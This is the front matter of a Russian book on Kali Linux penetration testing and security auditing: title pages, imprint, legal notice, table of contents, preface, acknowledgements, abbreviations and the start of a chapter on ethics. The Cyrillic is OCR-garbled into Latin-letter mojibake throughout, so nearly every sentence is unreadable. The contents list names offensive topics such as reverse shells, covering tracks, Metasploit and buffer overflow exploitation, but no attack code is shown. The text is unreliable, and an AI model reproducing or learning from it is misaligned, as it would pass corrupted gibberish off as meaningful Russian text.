N3OAHWE

AYAWUT BE3ONACHOCTMH
MHOPOPMALWMOHHDbIX
CNCTEM




HUKUTA CKABLIOB

KAL
INU

B IEUCTBUU

AYOWUT BESONACHOCTMU
MHOPOPMALMOHHbLIX CUCTEM

N3OAHWNE

D//HHTEPG’
CaHkT-MeTep6ypr - Mockea - MuHck

2024



BBK 32.973.23-018-07
YK 004.56.53

Hukuta Ckabuos

C44 Kali Linux B gencteun. Aygut 6e3o0nacHOCTM MHAOPMAaLMOHHbIX
cuctem. 2-e usg. — CI16.: MNutep, 2024. — 384 c.: un. — (Cepusa
«bubnnoTteka nporpammucTa).

ISBN 978-5-4461-2154-0

B 3T0ii KHUTE pacCMaTPUBAIOTCS METOIBI 00X0/Ia CHCTEM OE30ITACHOCTH CETEBBIX CEPBUCOB M MPOHHKHOBEHHS
B OTKPBIThIe HH(OPMAIIHOHHBIE cHcTeMbL. IH(opMarnonHas 6€30macHOCTh, KAK X MHOTOE B HAIlIeM MUpPE, IPeCTaB-
nsiet co0oi Mesaltb ¢ IByMs ctopoHaMu. C OJJHOW CTOPOHBI, MbI IIPOBOAUM Ay/UT, HUILEM CIIOCOOBI TPOHUKHOBEHUS
M Jlake TIPUMEHSIEM MX Ha TIPaKTHKe, a ¢ JIpyroil — paboTaem Haj 3ammuToif. TecTsl Ha TPOHUKHOBEHHE SBIAIOTCS
JacThIO HOPMAJILHOTO JKM3HEHHOTO nuKiIa Mo60i UT-undpacTpyKTypbl, O3BOJIAA HO-HACTOSIIEMY OLIEHUTH BO3-
MOJKHBIC PUCKHU U BBISIBUTH CKPBITBIC POOJICMBI.

Mosxet 11 B310M OBITH 3akoHHBIM? Koneuno, Mosket! Ho Tompko B IBYX ciydasx — KOIZa BBl B3lIaMbIBacTe
npuHaexaiie BaM MC unm xorzia Bbl B31aMbIBaeTe CETh OPraHU3alluM, C KOTOPOH y Bac 3aKJII0UEHO MHChMEHHOE
COIVIALICHUE O IIPOBE/ICHUHM ay/uTa WA TECTOB Ha IPOHUKHOBEHHE. MBI HajeeMcsl, 9TO BbI OyfeTe HCIOIb30BaTh
nH(OPMAIHIO U3 JAHHOW KHUTH TOJIBKO B IIENX 3akoHHOTO B3ioMa VIC. [ToxkanyiicTa, HOMHUTE O HEOTBPATUMOCTH
HaKa3aHUs — JIFOObIe He3aKOHHbIE JICHCTBHUS BIEKYT 3a COO0# aIMUHICTPATUBHYO HIIH YTOJIOBHYIO OTBETCTBEHHOCT.

Bl mocienoBaTenbHO MpoiifeTe Bee Mard, HeoOXOAUMbIE ISl MIPOBEICHHUS ayguTa 0e30MacHOCTH HH(pOpMa-
IIMOHHBIX CHCTEM M TECTOB Ha NMPOHMUKHOBEHHUE: OT OOIIMX MOHATHH, PACCMOTPEHUS CTAHAPTOB M HEOOXOIMMBIX
JIEUCTBHI Iepes IPOBEACHUEM ayAuTa 10 METOJ0B IPOHUKHOBEHUS B HHGOPMAIMOHHYIO CHCTEMY U 3aKPEILICHHS
B Heil. Kaxknast maBa KHUIH MOJKpEIIeHa peabHbIMU IIPUMEPAMHU M COAEPIKUT NPAKTHUECKYI0 HH(OPMAIHIO 10
MPHMEHEHHIO TeX WIH HHBIX METOJOB.

Knura agpecoBaHa yuTarelssiM, UMEIOIUM OITBIT paboThl B chepe NHPOPMAIMOHHBIX TEXHOJIOTUI U 3HAKOMBIM
¢ paboTOl OCHOBHBIX CETEBBIX CEPBHCOB Kak Ha Linux-, Tak 1 Ha Windows-miardopmax, a Gonsie Bcero Oyzuer
TI0JIe3HA CUCTEMHBIM aIMHHHCTPaToOpam, crenuanuctaM o M T-6e3omacHocTr, BceM TeM, KTO JKelaeT CBA3aTh CBOIO
Kapbepy C 3alUTONH HHPOPMALUK WITH ayJAUTOPCKON AESATEIbHOCTBIO.

Bo BTOpOM, JONIOJHEHHOM U IepepaboTaHHOM, U3aHUH HH(pOpManus OblIa MOITHOCTEI0 OOHOBJIEHA H COOT-
BETCTBYET COBPEMEHHBIM PEaNHAM.

16+ (B cooTBeTcTBUM ¢ PeaepanbHbIM 3akoHOM oT 29 fekabps 2010 . Ne 436-93.)

ISBN 978-5-4461-2154-0 © OO0 WUapatenbcTBo «[Mutep», 2023
© Cepus «bubnuoreka nporpammuctar, 2023
© Hukuta Ckabuosc, 2023

Bce npaBa 3awyiueHbl. Hukakas 4acTb AaHHOWM KHUMM He MOXeT OblTb BOCNpou3BeaeHa B kakol 6bl To HU Bbino dopme
6e3 NMCbMEHHOro paspeLleHust BnaaenbLeB aBTopckux npae. VHdopmaums, coaepxaliasics B JaHHOW KHWUre, nonyveHa
13 UCTOYHMKOB, paccMaTpUBaEMbIX M30aTENbCTBOM KaK HalexHble. TeM HE MeHee, UMes B BUY BO3MOXHbIE YENOBe-
Yyeckue UM TexHUYeckne owmbKu, 3NaTenbCTBO HE MOXET rapaHTMpPOBaTb abCOMIOTHYI0 TOYHOCTb U MOMHOTY NPUBO-
OMMbIX CBEIEHUN U He HeceT OTBETCTBEHHOCTM 3a BO3MOXHbIE OLUMGKU, CBSA3AHHbIE C UCMOMNb30BaHNMEM KHUMN. B kHUre
BO3MOXHbI YNOMWHAHWSI OpraHu3auui, AesTenbHOCTb KOTOpbIX 3anpelleHa Ha Tepputopun Poccuiickon denepaumu,
Takux kak Meta Platforms Inc., Facebook, Instagram n ap. N3gatenbcTBo He HeceT OTBETCTBEHHOCTU 3a AOCTYMNHOCTb
MaTepuanoB, CCbINKN Ha KOTOPbIE Bbl MOXETE HalTK B 3TOM KHUre. Ha MOMEHT NOATOTOBKM KHUMM K U3AaHWUI0 BCE CCbINKM
Ha VHTEPHET-PECYPCbI ObIN AEACTBYHOLLMMU.

Wsrorosneno B Poccun. Usrorosurens: OO0 «IIporpecc kuuray. Mecto Haxox/IeHHs U (haKTHYECKUil aapec:
194044, Poccus, 1. Cankt-IletepOypr, b. CamnconueBckwit mp., 1. 29A, nom. 52. Tein.: +78127037373.
Jlara msrorosnenus: 02.2024. HanmeHoBanue: KHIKHas npoayKiys. CpOK TOHOCTH: HE OTPaHHYEH.
Hautorosas sirora — obmepoccuiicknii knaccuduxarop npoxykuun OK 034-2014, 58.11.12 —
Kuuru neyarusie npodeccuoHanbHble, TEXHHYECKHE U HayYHbIE.
Wmmnoprep B Benapycs: OO0 «ITUTEP My, 220020, PB, r. Munck, yi. Tumupsizesa, 1. 121/3, k. 214, ten./daxc: 208 80 01.
IMoamucauno B neyars 08.12.23. ®opmar 70x100/16. Bymara odcernast. Yeu. . i1. 30,960. Tupax 1000. 3aka3 0000.



OrnasneHue

YTO HOBOIO BO BTOPOM MBAAHMM &« . v v v vttt e et i e et e ie e e e iae e e e e ns 6
BRnarOfapHOCTI . . . oot e e e e e 6
OT3bIBbl U MPEASIOKEHMS .+ v v v vt e e e e e e e e et e e e et e e ettt e e e e 7
(2 7. F= 3 =Y 1 1= o 1 == 7
CnMCOK UCTONB30BAHHBIX COKPALUEHMM .« & o oo e e e e e et e ettt e et e e e e e e e e e 7
Fnasa 01. O6wme cBeaeHuns 06 ayamte MHGPOPMALMNOHHDBIX CUCTEM .. ... ... 9
BOMPOCHI 3TUKM . v it it e et e e e e e e e 10
Pa3pelleHNE HA B3/TOM . & v v vttt e e et et et et e e e e 13
FNaBa02. METOAOMOMMA .+« + « v v vt s e v s s snnnssnnnnsnnnssnnnnsnnnnssns 18
CTaHpapT oLeHkU 6e30MacHOCTV UHGOPMALIMOHHOM CUCTEMBl .+« .« v v oo v v e e e . 18
PykoBoacTBO Mo MeToAMKe TeCTMpOoBaHMS 6€30MacHOCTU C OTKPbITbIM
VNCXOOHDBIM KOZIOM . v v v v v v e e e e e e et e e et e e et e e et ettt ea e ans 23
JPYTUE METOAMKM .« v v vttt et e et et e e et et ettt e e 27
FaBa 03. C60p OTKPbITOM MHGOPMALMM O LLEJIM & . o v v v vvnnnnnnnsssnns 28
B 0 101 1 29
OSINT ot e e e e 30
MaCCUBHBIA COOP AHHBIX &+ & v v v vttt et ettt e e et et e e ettt iae e e e 32
CKPBITBIA MHTEPHET &\ v v v v vt e e e ettt e et ettt ettt ettt 98
FnaBa 04. AKTUBHDBIN COOP AAHHDBIX « & v cvssvunnnnsnrnsnnnnnnnnnnnns 110
OnpeaeneHne akTUBHDBIX XOCTOB « « v v v v v v v v e e et a e en et n e en e e 110
CKHMPOBAHME MOPTOB . .+« « v v e v v v e e e et e e e e e e et e e e e i e e e e e ns 113
Monyyenne nHdopmaumm oT DNS-CEPBEPOB . . . . . . v v vt v e e e e e e 128
MonyyeHne AaHHbIX C UCMOMb30BaHMEM SMB . . . .. ... ... . i et 138
MOMCK NFS o e e e s 144
Pab0Ta C 3NEKTPOHHOM MOUTOM + v v v v v vt ittt e e e i e ettt e e e iae e e e 147
MonyyeHne nHbopMaumMm OT NTP-CEPBEPA - .« v v v v v v et e et e e i e e i e 149
MonyyeHne nHdopMaumm ¢ ncnonbzoBaHmeM SNMP . ... ... a s 150
FTNaBa05. OTUETBI .+« s v v vt s s v n s s nnssnnnssnnnnsnnnssnnnnsnnnnsss 154
MpobneMa Neperpy>XEHHOCTU MHAMOPMALIMEN . . . v v v oo v e e e e e e e ee e e n s 155
PaboTa C AaHHBIMU, BU3YANMBALIMST « v v v v v v e v e e e e e e e e 156

[ F= L1011 T 1 S L= = 172



4 OrnaBnexue

FnaBa 06. MOUCK YABBUMOCTEM . v vt rrrvnnnnnnnanssssnnnnnnnnnnsns 184
MpUHLUMN PaboTbl CKAHEPOB YAZBUMOCTEM .+« v v v v v v e v v e et e e e e e e e e s 184
ABTOMATMYECKOE N PYHHOE CKAHUPOBAHME . . v v v v v v v e v e s e een e e e a s 185
CKaHUPOBAHME U3 BHYTPEHHEN U BHELLHEA CETU « o« v v oo e e e e v e e e e e e 186
AYTEHTUDUHMLMPOBAHHOE U HeayTEHTUMULMPOBAHHOE CKaHMPOBaHMWE . . . . . . . 187
OPENV S L e e e 187
NESSUS . vt e e s 197

FnaBa 07. ATaKM HA BE6-NPUJTIOXKEHMA . . o v vt v ennnsnnnnsannnsnnnnnns 206
3HAKOMCTBO C COOKIE .+ o v v vt et ettt e e e et et e e e 207
REST AP .ot e e e 208
L I 2 T 2T X 208
O AP . o e e e e e 209
MHCTPYMEHTBI OWASP . . . e e e e e 209
HapyLeHne KOHTPOMSA JAOCTYMA & v v v v v v e e et v e e ettt e e e 212
[edeKTbl B KPUMTOTPAMUM « « v v v vt e et e it e et e et e et e et e e enn e e 216
MHBEKLMU o et e et et i e e e s 219
HEBE30MACHBIN AMBAMH .+ v v v v v e e e e e e e e e e e e e et et e et e 227
Hebe30macHas KOHDUIYPALMS . . .o vttt e et e e e e e i e e e ae e e e 228
YA3BUMbIE W YCTAPEBLUME KOMIMOHEHTDBl .+ v v v v v v v e v e e e e inn e e e n s 229
C60M MAEHTUMUKALMM N QYTEHTUMDMKALMM « « o oo v e e e e e e e e e e e e e e e e e e e 230
Owmnbkmn npoBepky LENOCTHOCTM MO M AAHHBIX  « v v v v v v e e e e e ee e e e e 237
OWwnbKM MOHUTOPUHIA U BEAEHMUS XXYPHaANoB 6e30MacHoCT . . . .o v oo oo . .. 239
Mopaenka 3anpoCcoB HA CTOPOHE CEPBEPA .« v v v v v v v v v v e i st et i e s 240

FnaBa 08. CoLMasbHAA MHIKEHEPUSA .+ v v evrensansansansansansannnns 241
DTUYECKME acMEKTbI COLMANBHOM MHKEHEPUM « o v v v v e e e e e e e e e e e e e e e e 241
Mcuxonornyeckne KOHLEMNLUMM B COLMANBHOM MHXEHEPUM . v v v v v v v v v e e e a s 243
Ha KOro 06paTuTb BHUMAHME? . . . . . i ittt e 244
TUMBE @TAK .+ v o v et e et et e e e e e e e e 245
L0 oY = = 249
Social-Engineer TOOIKit . . . .. . oot e 250

MTaBa 09.B3/IOM MAPOMIEM .« v v v v v e e ettt rnnnnnnnnnssssnnnnnnnnnssns 257
OCHOBHDBIE METOABl v v v vt v v vt et ettt st e it e et 257
Pab0Ta CO CMIMCKAMM MAPOJIEM .+ v v v v v e ettt e e ettt e ettt eiae e e e 258
ATAKM HA CEPBUCDHI & v v v v v v e v et e e et e e e et et e e e 261
OMNAMH-ATAKM .+ v v ettt et e e e ettt e e e et 265

Mnasa 10. MepexBaT MHPOPMALIMM . . . . o oo v vvvnnnsssssssnnnnnnnnnns 271
MacCMBHBIA NEPEXBAT TPAMMKA « « v v v v v v ettt e e ittt it e e iae e e e 272

AKTUBHBIN NEPEXBAT TPAMMKA & « « « v v v v v v vttt e et e ettt e e 281



OrnaBnexue 5

MMaBa 11.Mepeaadya haMiioB . .....:tvrvunnnnnnnsrsrnnnnnnnnnnsns 286
T P ot e e e 286
I 287
Mepenaya GannoB B WINAOWS . ... v vttt ettt e e e e 290

MaBa 12, 3aKPENJIEHNE BCUCTEME . . - s s s v v v nnnsnssssssnnnnnnnnnnns 292
Netcat . ..o e 292
NC Y OBPATHBIV LUEIUT .« v v v v e e e e et e e e e e et e e e e e e e e e e 293
MepeHanpasBrieHne NMOPTOB Y TYHHENMUPOBAHME &+« v v v v v v vv v v i e v e e e e s 294
MepEeHanpPaBIEHNE MOPTOB & o v v v v v v v e e et i et a et i a e 294
SSH-TYHHEIMPOBAHUE . o v vt ettt e i i et ettt e e 296
PINK . o e e 299

FnaBa 13. COKPbITUE CINIEAOB . . vt s s s s sannrsnnnnsannssansnsnnsnsss 301
MaHUNYAAUMS NOT-DAMAMM . . o v it e ettt et et it e ettt e s 301
COKPBITUE AMIIOB &+« « v v v v e e e e e e e e e e e e e e e e e 304

FnaBa 14. Metasploit Fremework .......... .t iinnrennnrennnnns 307
OCHOBHBIE KOMIOHEHTBI &+ v v v v e e v e e e e e e et e e e e et e e ee e nne e 307
OCHOBHDBIE KOMAHDB]  + + v v v v v v e e vttt v ittt ettt e e nne e 323
MPaKTUUECKME MIPUMEPBL .+ v v v v v e v e e e e et e e e e ettt e e ee e 325

Fnasa 15. NMepenonHeHne 6ydepa ........cvvuvnrrssssnsnnnnnnnnns 331
YUTO TaKoe MEPEMNONHEHNE BYMDEPA? & . v v v v it v et e et ettt e ae e e 332
MporpamMMbl, GUGINOTEKN U BUHAPHBIE DAMMBL . . . v v v v vt e e e e e e e e e 333
VP03l 4 v v et e e e e e e e 334
OCHOBbI KOMIMBIOTEPHOM @PXUTEKTYPBI « « v o v v e v e e e e e e e e e e e e e e 335
(@] o) ar= T TH 17 T =1 335
Pasbuerune cteka (Smashingthestack) ......... ... .. ... . L 337
Mepe3anmcb YKa3aTeNs MPENMA . . . v v vttt et ettt et neaens 344
ATaKa BO3BPATa B OMOSTMOTEKY . . v v oottt et e i e it e et e e 346
MNepenofHEHNE ANHAMUYECKON OBMACTU MAMSATU « « v v v v v v e i e e e e i ae e e e 347

MpuMep HaxoXAEeHUs 1 SKCMyaTaLmn ya3BUMOCTY NepenosiHeHns bydepa ... 348

FnaBa 16. CoXpaHEHNE QHOHUMHOCTM . v+ s v s ensansansansnnsansnnnnns 360
AHOHUMHOCTb MPW MPOBEAEHUM TECTOB .+ v 4 v v v v v e v e s i n e in e e e n s 360
AHOHOMHOCTb B [TI0B@NTIBHOM CETU v v v v v v v e e e e e e et et e e e e eaas 361
KaK COXPaHUTb @HOHUMHOCTDB? . v vt v et i e e e e et et e e 362

FnaBa 17. TecTbl Ha NPOHUKHOBEHME: OBO6LUEHNE . ... v v vvnnnnnnnnns 374
CTaHzapT BbIMOSIHEHWUS TECTOB HA MPOHUKHOBEHME . . . o v v vt e v e e v e e e 375
1= L0 Ton 1 T 382

B 3aKsitoueHne. O6PaLeHNE KUYNTATEITHO . v v vt avvnsannssannnsnnnnnns 383



6 bnarogapHocTu

YTO HOBOro BO BTOPOM 1U34aHUA

Bo BropoMm m3ganuu KHUTH, TTOCBIIEHHON ayauTy 6e3omacHocTr WHHOPMAIH-
OHHBIX CHCTEM, Best HHGOpMAIHs mepepaboTana TakuM 00pa3oM, 4ToObI OHa CO-
OTBETCTBOBAJIA COBPEMEHHDBIM peasnsiM. HekoTopbie pasiesibl ObLJIN PACIITHPEHBI,
HOBBIe 106aBJIEHDI, U y/aJeHO BCE TO, YTO, HA B3TJISJ[ aBTOPA, IIOTEPSIIIO CBOTO
AKTyaJIbHOCTb.

Kuura moctpoeHa tak, 4To 4uTaTesib mocIe[0BaTeIbHO TIPOXOAUT BCE Mari, Heo6Xo-
JIUMBbIE JIJIsT TPOBEJIEHUS ayinTa 6e30MacHOCTH MH(HOPMAIIMOHHBIX CUCTEM U TECTOB
Ha MPOHUKHOBEHME. Mbl HAUMHAEM ¢ 0OIINX TIOHATUH, PACCMOTPEHUST CTAaH/IAPTOB
1 HeOOXOAUMBIX JEHCTBUI TIepe/l MPOBEAECHUEM ay/IUTa, a 3aKAHUNBAEM METO[AMU
MTPOHUKHOBEHUS B MH(OPMAIIMOHHYIO CUCTEMY ¥ 3aKpeTieHus B Hell. Kaskmas riaBa
KHUTY TIOZIKPETITIeHa PeabHBIMI TPUMEPAMU 1 COJIEPKUT MTPAKTHIeCKy1o mHhopMa-
I[UIO IO TPUMEHEHHNIO TeX WJIM UHBIX METO/I0B.

WNanaraemblii MaTepuas pacCulTaH Ha YUTATEIS, IMEIOIIETO OTBIT B chepe nnhopma-
I[HOHHBIX TEXHOJOTUH U 3HAKOMOTO ¢ PabOTON OCHOBHBIX CETEBBIX CEPBUCOB KaK Ha
Linux-, rak u sa Windows-miardopmax. « Ayant 6e30macHocTy HHGOPMAIHOHHBIX
crcteM» OYJIeT MOoJe3eH CHCTEMHBIM aIMUHICTPpAaTOpaM, crernuasictam mo UT-
GE30MaCHOCTH, BCEM TEM, KTO JKEJIACT CBSI3aTh CBOIO Kaphepy € 3alluToi nH(pOpMaInm
WJIN ayIUTOPCKON J1eSITeTbHOCTBIO.

bnarogapHoctu

Boipaxaio ocobyio 6marogapaoctb Baagumupy OpexoBy. ITO HMEHHO TOT YeJIOBEK,
KOTOPBIi ¢ cCaMOro Havajia BepUJI B ycIiex Haiero 6e3Haie;KHOro JeJia i Helmocpe/-
CTBEHHO IIPUJIOXKII PYKY K CO3[JaHMIO JaHHOI KHUTU. Bes ero nmomoiu Mbl Obl He
MOJIYYUJTH TIOCBSIIIIEHHYIO TIepenoJiHeHn0 Oydepa riiaBy HMEHHO B TAaKOM BUJIE,
B KaKOM OHa €CTb.

Cracu6o Cepreio [eHK1HY 32 peryJisipHYyIO HOMOIIb ¢ YPEryJINPOBAHIEM PA3INIHBIX
OpPraHU3aIMOHHBIX BOIIPOCOB, 3TO CAKOHOMUJIO aBTOPY MHOTO CUJI I BpEMEHHU.

OT/ebible U caMble TeTTble cJoBa GaarogapHocT Moelt cympyre Amnte. Bes Tebst
sI HE CMOT OBI CIeTaTh ¥ YaCTH TOTO, YTO CMOT. TBOU HEXKHBIE 0OBITUST BCET/Ia TTOMO-
raJiv IepsKaTbCcsd B MOMEHTBI, KOT/Ia Ka3aJI0Ch, YTO CHUJI IBUTATLCS JIAJIbIIE YKE HET.

Taxske xoresoch Obl 0OJATOAPUTH POAUTEEH, BeAb 03 UX MOAEPAKKU, HaCTaBJIe-
HUN 1 JAeJIbHbBIX COBETOB CO3/laHueE BTOﬁ KHUTU 6BUIO 6BI HEBO3MOJKHO.

[Ipomy mporienust y npyaeit. Aus, Jlapbs, Kcenus, Jleonua u IOnuanna, Hukomnai
u Aséna, [Tasen u lllanna, Cemen u Kenst, Cous, Crac u Axxap, Anuuc u Mesa,
SIrure n Tans — pabora Hajl KHUTOM OTHSLIA MHOTO BPEMEHU ¥ CUJI, HO 3HATE, 4TO
sI Bac TIOMHIO, U y HAC BIIEPE/IH €lile MHOKECTBO He3a0bIBAEMBIX MOMEHTOB.

BeByCJIOBHO, n3ganue 9TOIl KHUTM MOTJIO OBl CTaTh HEIIOCUJIbHON 3ajaueit 6e3 ax-
TUBHOTO Y4aCTUs OT3bIBUMBOIO 1 I[O6pO>KeJIaTeJIbHOI‘O KOJIJIEKTHBa N31aTE€JIbCKOTO
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noma «ITuTteps, BHIpasKaio UM CBOIO OIATOMAPHOCTD U HAEIOCh Ha JaibHelee co-
TPYAHUYECTBO.

OT3bIBbI M N PEANOXEHUA

YBaskaeMBIil YnuTaTEh, HAZICIOCH, YTO BAM TIOHPABUTCS 9Ta KHUTA U BBI TIOUEPITHETE
U3 Hee MHOTO MHTEPECHOTO U MoJIe3HOTo Jiis cebst. OHako y Bac HaBepHSKa MO-
SIBSITCS BOIPOCHI, KOMMEHTAPUH, & BOSMOKHO, TIPEIOKEHUs WN Toskeanus. Bymy
GJiarojiapes 3a JioOOH OT3bIB U KOHCTPYKTUBHYIO KPUTHUKY, U JIJIsST OOPATHOU CBS3U
OCTAaBJISITO CBOM afipec 3JIEKTPOHHOM MOYTHI: itsecbook@protonmail.com.

OT n3patenbCcTBa

Bamm 3ameuanmus, mpesiosKeHust, BOIPOChl OTIPABJISIITE 10 ajipecy comp@piter.com
(u3narennbcTBO «IIWTepy», KOMIBIOTEpHAS PEIAKITNS ).

Mpbri 6yzieM pajibl y3HATh Baliie MHEHE!

Ha Be6-caliTe usgarenbcTBa WWWw.piter.com Bbl HalijieTe moAPOOHY0 HH(MOPMAIIO

O HalllMX KHUTax.

Cn1CoK 1Crosib30BaHHbIX COKPaLLIEHNI

AJTY. ApudMeTHKO-T0rnIecKoe yCTPOiicTBO
ATC. Aromatuueckas TesehOHHAST CTAHIUST
B/I. baza mannpix

JAM3. /lemuiutapu3oBanHas 30Ha

UB. Nudopmanmnontas 6e3011acHOCTh

NC. Nndopmannonnas cucremMa

UT. udbopmarmonubie TEXHOTIOTUN

OC. Omneparriontas cuctema

IT1O. IIporpammioe obecreuenue

CYB/. Cucrema ynpasiennst 6azaMu TaHHbIX

API. Application Programming Interface
ARP. Address Resolution Protocol

BP. Base Pointer

CAM. Content Addressable Memory

CDN. Content Delivery Network

CERT. Computer Emergency Response Team
CMS. Content Managment System

CPU. Central Processing Unit

CRC. Cyclic Redundancy Check

CSMA/CD. Carrier Sense Multiple Access with
Collision Detection

CVSS. Common Vulnerability Scoring System
DLL. Dynamic Link Library

DLP. Data Loss Prevention

DMZ. Demilitarized Zone

DNS. Domain Name System

DOM. Document Object Model

FTP. File Transfer Protocol

GPL. General Public License

GPS. Global Positioning System

GPT. Generative Pre-trained Transformer
HEX. Hexadecimal

HTML. HyperText Markup Language

HTTP. HyperText Transfer Protocol
HTTPS. HyperText Transfer Protocol Secure
ICMP. Internet Control Message Protocol
IDS. Intrusion Detection System

IIS. Internet Information Services

IP. Internet Protocol



8 CrMCOoK NCNOMb30BaHHbIX COKan.l,eHMVI

IPS. Intrusion Prevention System
ISN. Initial Sequence Number

ISO. International Organization for
Standardization

ISSAF. Information System Security Assessment
Framework

LAN. Local Area Network

LDAP. Lightweight Directory Access Protocol
LFI. Local File Inclusion

LIFO. Last In First Out

LM. Local area network Manager

LSASS. Local Security Authority Subsystem
Service

MAC. Media Access Control

MBR. Master Boot Record

MIB. Management Information Base

MX. Mail Exchange

NetBIOS. Network Basic Input/Output System
NFC. Near field communication

NFS. Network File System

NIC. Network Information Center

NIST. National Institute of Standards and
Technology

NLA. Network Level Authentication

NOP. No Operation

NOSINT. Net-based Open Source INTelligence
NS. Name Server

NTLM. New Technology Local area network
Manager

NTP. Network Time Protocol

NVT. Network Vulnerability Tests
OSI. Open Systems Interconnection
OSINT. Open Source INTelligence

OSSTMM. Open Source Security Testing
Methodology Manual

OWASP. Open Web Application Security Project

PCI DSS. Payment Card Industry Data Security
Standard

PIN. Personal Identification Number
PTES. Penetration Testing Execution Standard
RCE. Remote Code Execution

RDP. Remote Desktop Protocol
REST API. Representational State Transfer API
RIPE. Réseaux IP Européens

RPC. Remote Procedure Call

SAM. Security Account Manager
SAN. Storage Area Network

SDL. Security Development Lifecycle
SET. Social-Engineer Toolkit

SMB. Server Message Block

SMTP. Simple Mail Transfer Protocol
SNMP. Simple Network Management Protocol
SP. Stack Pointer

SQL. Structured Query Language
SSH. Secure SHell

SSID. Service Set Identifier

SSL. Secure Sockets Layer

SSTI. Server-Side Template Injection
SSRE Server-Side Request Forgery
TCP. Transmission Control Protocol
TFTP. Trivial File Transfer Protocol
TLS. Transport Layer Security

TTL. Time To Live

UDP. User Datagram Protocol

URL. Uniform Resource Locator
USB. Universal Serial Bus

VAS. Open Vulnerability Assessment System
VB. Visual Basic

VBA. Visual Basic for Applications
VLAN. Virtual Local Area Network
VNC. Virtual Network Computing
VoIP. Voice over Internet Protocol
VPN. Virtual Private Network

WCE. Windows Credentials Editor
WEP. Wired Equivalent Privacy
WPA. Wi-Fi Protected Access

WPS. Wi-Fi Protected Setup
WWW. World Wide Web

XSS. Cross-Site Scripting

XXE. XML External Entity

ZAP. Zed Attack Proxy



Ob6Lwme ceeaeHus 06 ayaute
MHMOPMALIMOHHbIX CUCTEM

Ha manfbIii MOMEHT CylIecTByeT MHOXKECTBO MaTePHUAJIOB, TOCBAIIEHHBIX PAa3Iny-
HBIM MeTo/iaM B3JioMa nHGopMmaimonubix cucteM (MC) m TPOHUKHOBEHUS B HUX,
GOJTBINAsT YaCTh KOTOPBIX MPEACTABIAET co60it HabOp TOTOBBIX MIAroB W 0OeIaeT
GbICTPBIIT pesysibrat. UTo jke Ha caMoM JieJie OTJIMYAET BaC KaK CIEIMaIuCcTa OT Tex,
KTO paboTaeT MperMyIeCTBEHHO € TAKUMU UCTOYHUKaMU? OTBET MOJKET TIOKa3aThCst
CKYYHBIM 1 GAHATBHBIM, HO BCE K€ CKAXKEM: 9TO METOOTOTHUECKUHT TTOIXOT, 3HAHHTE
1 TOHUMaHUe TOTO, YTO MTPOUCXO/NT.

[Tpu HarMcaHWK HTOI KHUTK Obljla IOCTABJIEHa 3a/[a4a He IPOCTO PACCMOTPETD OlIpe-
JleJIEHHbIN HaOOP MHCTPYMEHTOB, HO IaTh YMTATEIIO TIYyOOKIE 3HAHMS, TO3BOJISTIONIIE
aIAITUPOBATh PAOOTY ATUX MHCTPYMEHTOB K KaK[0i KOHKPETHOM 3a/[aue U B LIEJIOM
caenath paboTy 6GoJiee TPOAYKTUBHOM.

Kuura e mpertenayeT Ha TO, 4TOOBI CTATh MOJTHBIM ¥ HCYEPITHIBAIOIIIM PYKOBO/I-
crBoM B chepe unpopMaimonnoii 6esomnactocty (MB), riaBHoil ee 3asayeii siBisteTCst
3HAKOMCTBO C OCHOBHBIMU KOHIIETIIIMAMU 1 nipuMepamu. [locse ee mpouTeHus Bam
MPEACTOUT MPOBECTU OCTATOYHO MHOTO BPEMEHMU, COBEPINEHCTBYS CBOU 3HAHUS
U TIOJTyYeHHBIE HABBIKM, HO 32 MHTEPECHOI pabOTON 1 BpeMst JIETUT HE3aMeTHO, He
TaK Jin?

JLJ1s1 T€X, KTO TOJIBKO JIe/IA€T CBOM MePBbIE Iark B 061acTH HHHOPMAIIMOHHBIX TEXHO-
goruit (UT), kHKura MOJKET OKA3aThCs CIOKHON i ToHnManus. OHa IIpeirnoiaraer,
YTO y BAC €CTh HEKOTOPBII OMBIT PAGOTHI ¢ OCHOBHBIMU CETEBBIMU CEPBUCAMU U BbI
KaK MUHUMYM He OouTech KoMaHHO# cTpoku Linux. ClpaBeinBOCTH Pagd CTOUT
1M06aBUTD, YTO MHOT/IA 3HAHHE CTAHIAPTOB MEIIAET MBICIUTH BHE paMok. Ho Bee ke
6e3 3HaHVsI TPUHIUTIOB PaboThl omeparnnoHHbiX cucteM (OC), KOMIBIOTEPHBIX Ce-
Teil, Ga30BbIX HABBIKOB ITPOrPAMMUPOBAHUs BaM OY/IET IOCTATOUHO CJIOKHO BOWTH
B chepy UD.

CTouT OTMETHUTH, 9YTO B TIOCTEAHEE BpeMs crelnaanctaM B chepe Vb mpurmiocs
OCBOUTH €ellle OJIHY CIIeIHaJN3aIuio — ylpaBjeHue npoekTaMmu. B coBpeMeHHOM
MUPE B CBSI3U C MIOCTOSIHHBIM YBEJTMUYEHUEM JIOCTYITHON MH(OpMaIUK CIielraamn3a-
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ST TOCTOSTHHO CTAHOBUTCSI Bee GoJiee y3KOii, He MUHOBaAJIO 10 11 cepy 1B, Ecim
B Cpezsnue Beka OJMH Bpay MOT JIYUTb IIPAaKTUYECKU BCe, TO B Hallle BpeMs eCTh
oIpe/ieJIeHHbIE CIIEIMAINUCTBI: HEBPOJIOT, Kap/IM0JIOT, PEBMATOJIOT, HEHPOXUPYPT
u . 1. To e camoe kacaercss u VB: Bbl 06s13aTe/IbHO BCTpPETUTE TPODECCHOHATIOB,
CHIEUATMBUPYIOIIUXCST B OCHOBHOM Ha MOUCKEe MH(DOPMAIIUH, BEO-TIPHIIOKEHUSX UK
ammapatHoM B3noMe. Kora BbI ToJIydnTe KOHTPAKT Ha ayANT OOJIBITON U CIOKHOM
N C, Bam mpueTcst PyKOBOJAWTh BCEMU 9TUMU CIIEIIUATUCTAMU, eJaTh Tak, YTOObI
onu paboranu ciaakenno u adekTuBHO. PYKOBOACTBO NPOEKTAMU BBIXOIUT 3
PaMKM TeMbl 3TOI KHUTH, HO MBI HACTOATEJIbLHO PEKOMEH/IyeM BaM O3HAKOMUTBHCS
C OCHOBAMU 3TO# pabOTHI.

Bonpockl 3TUKK

B mupe unbopmannonnoit 6€30macHOCTH TIPUCYTCTBYET YCIOBHOE Pas/e/icHue
sanuMarommxcst Bz3aomoM VC Jofiel Ha Tpu TPYIIIbL «depHbie muisiibl» («Black
Hat»), «cepbie nuisnbi» («Gray Hats) u «6esnie s> («White Hat»). B uem
JKe MPUHITUINAIbHOE pasjinure Mesxy Humu? Ha mepBoiil B3rJIsii B COOJIOIEHUT
